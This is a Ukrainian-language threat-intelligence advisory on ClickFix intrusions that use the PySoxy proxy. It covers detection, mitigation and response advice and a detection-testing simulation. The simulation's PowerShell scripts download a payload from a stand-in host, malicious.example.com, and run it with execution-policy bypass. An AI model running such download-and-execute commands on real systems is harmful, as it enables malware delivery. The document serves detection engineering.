ClickFix розвивається з проксіюванням PySoxy

Резюме

ClickFix — це техніка доставки, заснована на соціальній інженерії, яка тепер поєднується з відкритим SOCS5-проксі PySoxy для створення шифрованого вторинного каналу доступу. Вторгнення починається, коли користувач виконує зловмисну команду PowerShell, яка налаштовує збережене задання та запускає сесію управління через PowerShell у пам’яті. Після початкової розвідки зловмисник завантажує та запускає PySoxy, щоб встановити другу шифровану доріжку в середовище. Такий модульний підхід до використання інструментів на основі інтерпретатора ускладнює як виявлення, так і стримування інциденту.

Дослідження

ReliaQuest спостерігав один користувацький запуск команди ClickFix, яка запустила обфусцирований PowerShell-завантажувач, створила заплановане завдання, провела розвідку домену та пізніше завантажила зкомпільований байт-код Python файл з іменем b64.pyc, який виконувався за допомогою python.exe. Компонент PowerShell працював як легкий RAT, опитуючи свій сервер управління і контролю кожні три секунди. Дослідники також побачили, як зловмисник використовує curl для завантаження журналів і отримання корисного навантаження PySoxy з того ж сервера.

Пом’якшення

Оборонці повинні виявляти та блокувати підозрілі запуски PowerShell, що походять з explorer.exe, моніторити заплановані завдання, які виконують приховані команди PowerShell, та шукати виконання Python з аргументами, пов’язаними з проксі, такими як -ssl, -remote_ip, та -remote_port. Команди безпеки також мають перевірити вихідний трафік до визначених доменів та IP-адрес і видалити будь-які збережені скрипти PowerShell або .pyc файли, виявлені в ProgramData.

Відповідь

Якщо знайдено пов’язані індикатори, негайно ізолюйте уражений хост, відключіть обліковий запис користувача, що був зламаний, видаліть зловмисне заплановане завдання, зітріть скрипт PowerShell і артефакти PySoxy, а також проскануйте систему на предмет додаткових залишків. Оборонці також повинні підтвердити, що вихідний трафік до визначеної інфраструктури заблокований, і перевірити, що жодні інші механізми збереження не залишаються активними.

Виконання моделювання

Передумова: Перевірка телеметрії та базової лінії до польоту має бути пройдена.

Розуміння: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTPs та мати на меті генерувати точну телеметрію, очікувану логікою виявлення.

• Опис атаки та команди:

  1. Мета: Встановити канал управління і контролю на основі PowerShell (ClickFix), який завантажує зловмисне навантаження з віддаленого сервера та виконує його непомітно.
  2. Метод: Зловмисник запускає powershell.exe з точним прапором, який моніторить правило (-NoProfile and -ExecutionPolicy Bypass) та використовує Invoke-WebRequest для отримання навантаження.
  3. Чому цей метод: Використовуючи нативний Windows PowerShell та загальний Invoke-WebRequest cmdlet, суперник уникає завантаження сторонніх інструментів, зменшуючи ймовірність виявлення антивірусом, дотримуючись відомої поведінки ClickFix, зафіксованої в правилі.

  # Крок 1: Завантажте зловмисний скрипт (симулюється як доброзичливий тестовий файл)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Крок 2: Виконайте завантажений скрипт, використовуючи ті ж параметри запуску, які моніторить правило
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Скрипт регресійного тестування:

  # ==============================================
  # Симуляція ClickFix PowerShell C2 (TC-20260514-3G7ZK)
  # ==============================================
  
  # Визначення змінних
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Завантажте фіктивний корисний вантаж (діє як отримання C2)
  Write-Host "[*] Завантаження корисного навантаження..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Download failed: $_"
      exit 1
  }
  
  # 2. Виконайте корисне навантаження з точними прапорами, які моніторить правило
  Write-Host "[*] Виконання корисного навантаження з -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Симуляція завершена."
  # ==============================================

• Команди очищення:

  # Видаліть тимчасовий файл корисного навантаження
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Файл корисного навантаження видалено."
  }
  
  # За потреби зупиніть будь-які залишкові процеси PowerShell, запущені тестом
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Очищення завершено."